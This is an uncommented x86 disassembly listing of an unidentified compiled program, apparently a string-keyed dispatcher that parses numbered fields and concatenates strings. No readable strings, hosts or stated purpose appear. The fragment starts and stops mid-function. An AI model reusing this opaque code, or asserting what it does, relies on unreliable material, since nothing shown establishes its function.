call fcn.005b0190
mov eax, dword [ebp - 0xe44]
lea edx, [ebp - 0xe40]
call fcn.0058ff30
mov edx, dword [ebp - 0xe40]
mov eax, dword [ebp - 0x554]
call fcn.00430e98
mov eax, dword [ebp - 0x554]
call fcn.00430994
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x59a886
mov eax, dword [ebp - 0x554]
call fcn.00404b38
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x59a8ab
call fcn.005924cc
ret
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae89c
call fcn.00405ec0
jne 0x59a9b9
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0xe4c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xe4c]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x3b0]
call fcn.005b0140
test al, al
jne 0x59a93e
lea edx, [ebp - 0xe50]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0xe50]
push eax
lea eax, [ebp - 0xe54]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0xe54]
xor edx, edx
pop eax
call fcn.0059002c
lea eax, [ebp - 0xe60]
push eax
lea ecx, [ebp - 0xe64]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xe64]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xe60]
lea edx, [ebp - 0xe5c]
call fcn.0058ff30
mov eax, dword [ebp - 0xe5c]
call fcn.00405f28
push eax
call fcn.005406f4
cmp eax, 5
sete al
lea edx, [ebp - 0xe58]
call fcn.00593690
mov edx, dword [ebp - 0xe58]
mov ecx, 0x5ae8bc
mov eax, dword [ebp - 0x3b0]
call fcn.00590064
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae8dc
call fcn.00405ec0
jne 0x59adb6
mov eax, dword [ebp - 0x54c]
dec eax
push eax
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x53c]
mov eax, dword [ebp - 0x538]
call fcn.005b2f40
mov edx, dword [ebp - 0x54c]
dec edx
mov ecx, 0x5ae048
mov eax, dword [0x5dccd4]
mov ebx, dword [eax]
call dword [ebx + 0x20]
lea eax, [ebp - 0xe68]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5ae4dc
call fcn.00405db0
mov eax, dword [ebp - 0xe68]
mov edx, 0x5ae048
call fcn.0058ef14
push ebp
lea eax, [ebp - 0xe6c]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5ae4dc
call fcn.00405db0
mov eax, dword [ebp - 0xe6c]
call fcn.0059405c
pop ecx
push ebp
mov eax, 0x5ae048
call fcn.0059405c
pop ecx
lea eax, [ebp - 0xe70]
push eax
lea ecx, [ebp - 0xe74]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xe74]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov edx, dword [ebp - 0xe70]
mov eax, 0x5ae8f4
call fcn.0041038c
test eax, eax
je 0x59ab79
lea eax, [ebp - 0xe78]
push eax
lea ecx, [ebp - 0xe7c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xe7c]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xe78]
lea edx, [ebp - 0x3c0]
call fcn.005939c8
lea edx, [ebp - 0xe80]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0xe80]
push eax
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae90c
lea eax, [ebp - 0xe84]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0xe84]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae90c
lea eax, [ebp - 0xe88]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0xe88]
call fcn.0059405c
pop ecx
push ebp
lea edx, [ebp - 0xe8c]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0xe8c]
call fcn.0059405c
pop ecx
lea eax, [ebp - 0xe90]
push eax
lea ecx, [ebp - 0xe94]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xe94]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov edx, dword [ebp - 0xe90]
mov eax, 0x5ae8f4
call fcn.0041038c
test eax, eax
je 0x59ac95
lea eax, [ebp - 0xe98]
push eax
lea ecx, [ebp - 0xe9c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xe9c]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xe98]
lea edx, [ebp - 0x3c0]
call fcn.005939c8
lea edx, [ebp - 0xea0]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0xea0]
push eax
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae918
lea eax, [ebp - 0xea4]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0xea4]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae918
lea eax, [ebp - 0xea8]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0xea8]
call fcn.0059405c
pop ecx
push ebp
lea edx, [ebp - 0xeac]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0xeac]
call fcn.0059405c
pop ecx
lea eax, [ebp - 0xeb0]
push eax
lea ecx, [ebp - 0xeb4]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xeb4]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov edx, dword [ebp - 0xeb0]
mov eax, 0x5ae8f4
call fcn.0041038c
test eax, eax
je 0x5ad501
lea eax, [ebp - 0xeb8]
push eax
lea ecx, [ebp - 0xebc]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xebc]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xeb8]
lea edx, [ebp - 0x3c0]
call fcn.005939c8
lea edx, [ebp - 0xec0]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0xec0]
push eax
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae924
lea eax, [ebp - 0xec4]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0xec4]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae924
lea eax, [ebp - 0xec8]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0xec8]
call fcn.0059405c
pop ecx
push ebp
lea edx, [ebp - 0xecc]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0xecc]
call fcn.0059405c
pop ecx
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae930
call fcn.00405ec0
jne 0x59b366
lea eax, [ebp - 0xed0]
push eax
lea ecx, [ebp - 0xed4]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xed4]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xed0]
lea edx, [ebp - 0x3d0]
call fcn.005939c8
lea eax, [ebp - 0xed8]
push eax
lea ecx, [ebp - 0xedc]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xedc]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xed8]
lea edx, [ebp - 0x3d4]
call fcn.005939c8
cmp dword [0x5dcd60], 0
je 0x59af3f
push 0
lea eax, [ebp - 0xee4]
push eax
lea eax, [ebp - 0xee8]
push eax
lea ecx, [ebp - 0xeec]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xeec]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov edx, dword [ebp - 0xee8]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b2fe8
mov eax, dword [ebp - 0xee4]
lea edx, [ebp - 0xee0]
call fcn.005939c8
mov edx, dword [ebp - 0xee0]
lea eax, [ebp - 0x3d0]
call fcn.00405b30
push 0
lea eax, [ebp - 0xef4]
push eax
lea eax, [ebp - 0xef8]
push eax
lea ecx, [ebp - 0xefc]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xefc]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov edx, dword [ebp - 0xef8]
mov ecx, 2
mov eax, dword [ebp - 0x3d4]
call fcn.005b2fe8
mov eax, dword [ebp - 0xef4]
lea edx, [ebp - 0xef0]
call fcn.005939c8
mov edx, dword [ebp - 0xef0]
lea eax, [ebp - 0x3d4]
call fcn.00405b30
mov eax, dword [ebp - 0x54c]
dec eax
push eax
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x53c]
mov eax, dword [ebp - 0x538]
call fcn.005b2f40
mov edx, dword [ebp - 0x54c]
dec edx
mov ecx, 0x5ae048
mov eax, dword [0x5dccd4]
mov ebx, dword [eax]
call dword [ebx + 0x20]
lea eax, [ebp - 0xf00]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5ae4dc
call fcn.00405db0
mov eax, dword [ebp - 0xf00]
mov edx, 0x5ae048
call fcn.0058ef14
push ebp
lea eax, [ebp - 0xf04]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5ae4dc
call fcn.00405db0
mov eax, dword [ebp - 0xf04]
call fcn.0059405c
pop ecx
push ebp
mov eax, 0x5ae048
call fcn.0059405c
pop ecx
lea edx, [ebp - 0xf08]
mov eax, dword [ebp - 0x3d0]
call fcn.0058ff30
mov eax, dword [ebp - 0xf08]
push eax
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae90c
lea eax, [ebp - 0xf0c]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0xf0c]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae90c
lea eax, [ebp - 0xf10]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0xf10]
call fcn.0059405c
pop ecx
push ebp
lea edx, [ebp - 0xf14]
mov eax, dword [ebp - 0x3d0]
call fcn.0058ff30
mov eax, dword [ebp - 0xf14]
call fcn.0059405c
pop ecx
lea eax, [ebp - 0xf18]
push eax
lea ecx, [ebp - 0xf1c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xf1c]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xf18]
lea edx, [ebp - 0x3c0]
call fcn.005939c8
lea edx, [ebp - 0xf20]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0xf20]
push eax
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae918
lea eax, [ebp - 0xf24]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0xf24]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae918
lea eax, [ebp - 0xf28]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0xf28]
call fcn.0059405c
pop ecx
push ebp
lea edx, [ebp - 0xf2c]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0xf2c]
call fcn.0059405c
pop ecx
lea edx, [ebp - 0xf30]
mov eax, dword [ebp - 0x3d4]
call fcn.0058ff30
mov eax, dword [ebp - 0xf30]
push eax
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae924
lea eax, [ebp - 0xf34]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0xf34]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae924
lea eax, [ebp - 0xf38]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0xf38]
call fcn.0059405c
pop ecx
push ebp
lea edx, [ebp - 0xf3c]
mov eax, dword [ebp - 0x3d4]
call fcn.0058ff30
mov eax, dword [ebp - 0xf3c]
call fcn.0059405c
pop ecx
lea eax, [ebp - 0xf40]
push eax
lea ecx, [ebp - 0xf44]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xf44]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xf40]
lea edx, [ebp - 0x3c0]
call fcn.005939c8
lea edx, [ebp - 0xf48]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0xf48]
push eax
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae94c
lea eax, [ebp - 0xf4c]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0xf4c]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae94c
lea eax, [ebp - 0xf50]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0xf50]
call fcn.0059405c
pop ecx
push ebp
lea edx, [ebp - 0xf54]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0xf54]
call fcn.0059405c
pop ecx
lea eax, [ebp - 0xf58]
push eax
lea ecx, [ebp - 0xf5c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xf5c]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xf58]
lea edx, [ebp - 0x3c0]
call fcn.005939c8
lea edx, [ebp - 0xf60]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0xf60]
push eax
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae958
lea eax, [ebp - 0xf64]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0xf64]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae958
lea eax, [ebp - 0xf68]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0xf68]
call fcn.0059405c
pop ecx
push ebp
lea edx, [ebp - 0xf6c]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0xf6c]
call fcn.0059405c
pop ecx
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae964
call fcn.00405ec0
jne 0x59b5e4
lea eax, [ebp - 0xf70]
push eax
lea ecx, [ebp - 0xf74]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xf74]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xf70]
lea edx, [ebp - 0x3d0]
call fcn.005939c8
lea eax, [ebp - 0xf78]
push eax
lea ecx, [ebp - 0xf7c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xf7c]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xf78]
lea edx, [ebp - 0x3d4]
call fcn.005939c8
cmp dword [0x5dcd60], 0
je 0x59b4ef
push 0
lea eax, [ebp - 0xf84]
push eax
lea eax, [ebp - 0xf88]
push eax
lea ecx, [ebp - 0xf8c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xf8c]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov edx, dword [ebp - 0xf88]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b2fe8
mov eax, dword [ebp - 0xf84]
lea edx, [ebp - 0xf80]
call fcn.005939c8
mov edx, dword [ebp - 0xf80]
lea eax, [ebp - 0x3d0]
call fcn.00405b30
push 0
lea eax, [ebp - 0xf94]
push eax
lea eax, [ebp - 0xf98]
push eax
lea ecx, [ebp - 0xf9c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xf9c]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov edx, dword [ebp - 0xf98]
mov ecx, 2
mov eax, dword [ebp - 0x3d4]
call fcn.005b2fe8
mov eax, dword [ebp - 0xf94]
lea edx, [ebp - 0xf90]
call fcn.005939c8
mov edx, dword [ebp - 0xf90]
lea eax, [ebp - 0x3d4]
call fcn.00405b30
mov eax, dword [ebp - 0x54c]
dec eax
push eax
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x53c]
mov eax, dword [ebp - 0x538]
call fcn.005b2f40
lea eax, [ebp - 0xfa0]
push eax
lea ecx, [ebp - 0xfa4]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xfa4]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov edx, dword [ebp - 0xfa0]
mov eax, dword [0x5dcda8]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, dword [ebp - 0x3d0]
mov eax, dword [0x5dcda8]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, dword [ebp - 0x3d4]
mov eax, dword [0x5dcda8]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, dword [ebp - 0x54c]
dec edx
mov ecx, 0x5ae048
mov eax, dword [0x5dccd4]
mov ebx, dword [eax]
call dword [ebx + 0x20]
lea eax, [ebp - 0xfa8]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5ae4dc
call fcn.00405db0
mov eax, dword [ebp - 0xfa8]
mov edx, 0x5ae048
call fcn.0058ef14
push ebp
lea eax, [ebp - 0xfac]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5ae4dc
call fcn.00405db0
mov eax, dword [ebp - 0xfac]
call fcn.0059405c
pop ecx
push ebp
mov eax, 0x5ae048
call fcn.0059405c
pop ecx
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae984
call fcn.00405ec0
jne 0x59b6b7
mov dword [ebp - 0x564], 1
lea eax, [ebp - 0xfb4]
push eax
lea ecx, [ebp - 0xfb8]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xfb8]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xfb4]
lea edx, [ebp - 0xfb0]
call fcn.0058ff30
mov eax, dword [ebp - 0xfb0]
push eax
lea eax, [ebp - 0xfc0]
push eax
lea ecx, [ebp - 0xfc4]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xfc4]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xfc0]
lea edx, [ebp - 0xfbc]
call fcn.0058ff30
mov eax, dword [ebp - 0xfbc]
mov cl, 1
pop edx
call fcn.0058f3f4
inc dword [ebp - 0x564]
cmp dword [ebp - 0x564], 0xb
jne 0x59b604
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae9a0
call fcn.00405ec0
jne 0x59b832
mov eax, dword [ebp - 0x54c]
dec eax
push eax
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x53c]
mov eax, dword [ebp - 0x538]
call fcn.005b2f40
mov edx, dword [ebp - 0x54c]
dec edx
mov ecx, 0x5ae048
mov eax, dword [0x5dccd4]
mov ebx, dword [eax]
call dword [ebx + 0x20]
lea eax, [ebp - 0xfc8]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5ae4dc
call fcn.00405db0
mov eax, dword [ebp - 0xfc8]
mov edx, 0x5ae048
call fcn.0058ef14
push ebp
lea eax, [ebp - 0xfcc]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5ae4dc
call fcn.00405db0
mov eax, dword [ebp - 0xfcc]
call fcn.0059405c
pop ecx
push ebp
mov eax, 0x5ae048
call fcn.0059405c
pop ecx
lea eax, [ebp - 0xfd0]
push eax
lea ecx, [ebp - 0xfd4]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xfd4]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xfd0]
lea edx, [ebp - 0x3c0]
call fcn.005939c8
lea edx, [ebp - 0xfd8]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0xfd8]
push eax
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae90c
lea eax, [ebp - 0xfdc]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0xfdc]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae90c
lea eax, [ebp - 0xfe0]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0xfe0]
call fcn.0059405c
pop ecx
push ebp
lea edx, [ebp - 0xfe4]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0xfe4]
call fcn.0059405c
pop ecx
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae9b8
call fcn.00405ec0
je 0x59b85a
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae9d0
call fcn.00405ec0
jne 0x59be46
lea eax, [ebp - 0xfe8]
push eax
lea ecx, [ebp - 0xfec]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xfec]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xfe8]
lea edx, [ebp - 0x3d0]
call fcn.005939c8
lea eax, [ebp - 0xff0]
push eax
lea ecx, [ebp - 0xff4]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xff4]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xff0]
lea edx, [ebp - 0x3d4]
call fcn.005939c8
cmp dword [0x5dcd60], 0
je 0x59b9cd
push 0
lea eax, [ebp - 0xffc]
push eax
lea eax, [ebp - 0x1000]
push eax
lea ecx, [ebp - 0x1004]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1004]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov edx, dword [ebp - 0x1000]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b2fe8
mov eax, dword [ebp - 0xffc]
lea edx, [ebp - 0xff8]
call fcn.005939c8
mov edx, dword [ebp - 0xff8]
lea eax, [ebp - 0x3d0]
call fcn.00405b30
push 0
lea eax, [ebp - 0x100c]
push eax
lea eax, [ebp - 0x1010]
push eax
lea ecx, [ebp - 0x1014]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1014]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov edx, dword [ebp - 0x1010]
mov ecx, 2
mov eax, dword [ebp - 0x3d4]
call fcn.005b2fe8
mov eax, dword [ebp - 0x100c]
lea edx, [ebp - 0x1008]
call fcn.005939c8
mov edx, dword [ebp - 0x1008]
lea eax, [ebp - 0x3d4]
call fcn.00405b30
mov eax, dword [ebp - 0x54c]
dec eax
push eax
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x53c]
mov eax, dword [ebp - 0x538]
call fcn.005b2f40
lea eax, [ebp - 0x101c]
push eax
mov ecx, 6
mov edx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.00405f90
mov eax, dword [ebp - 0x101c]
lea edx, [ebp - 0x1018]
call fcn.0040ac80
push dword [ebp - 0x1018]
push 0x5ae9ec
push dword [ebp - 0x3d0]
lea eax, [ebp - 0x3d0]
mov edx, 3
call fcn.00405e2c
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae90c
lea eax, [ebp - 0x1020]
mov edx, 3
call fcn.00405e2c
mov edx, dword [ebp - 0x1020]
mov eax, dword [0x5dcda4]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, dword [ebp - 0x3d0]
mov eax, dword [0x5dcda4]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, dword [ebp - 0x3d4]
mov eax, dword [0x5dcda4]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, dword [ebp - 0x54c]
dec edx
mov ecx, 0x5ae048
mov eax, dword [0x5dccd4]
mov ebx, dword [eax]
call dword [ebx + 0x20]
lea eax, [ebp - 0x1024]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5ae4dc
call fcn.00405db0
mov eax, dword [ebp - 0x1024]
mov edx, 0x5ae048
call fcn.0058ef14
push ebp
lea eax, [ebp - 0x1028]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5ae4dc
call fcn.00405db0
mov eax, dword [ebp - 0x1028]
call fcn.0059405c
pop ecx
push ebp
mov eax, 0x5ae048
call fcn.0059405c
pop ecx
lea eax, [ebp - 0x102c]
push eax
lea ecx, [ebp - 0x1030]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1030]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x102c]
lea edx, [ebp - 0x3c0]
call fcn.005939c8
lea edx, [ebp - 0x1034]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0x1034]
push eax
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae90c
lea eax, [ebp - 0x1038]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1038]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae90c
lea eax, [ebp - 0x103c]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x103c]
call fcn.0059405c
pop ecx
push ebp
lea edx, [ebp - 0x1040]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0x1040]
call fcn.0059405c
pop ecx
lea eax, [ebp - 0x1044]
push eax
lea ecx, [ebp - 0x1048]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1048]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1044]
lea edx, [ebp - 0x3c0]
call fcn.005939c8
lea edx, [ebp - 0x104c]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0x104c]
push eax
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae918
lea eax, [ebp - 0x1050]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1050]
pop edx
call fcn.0058ef14
push ebp
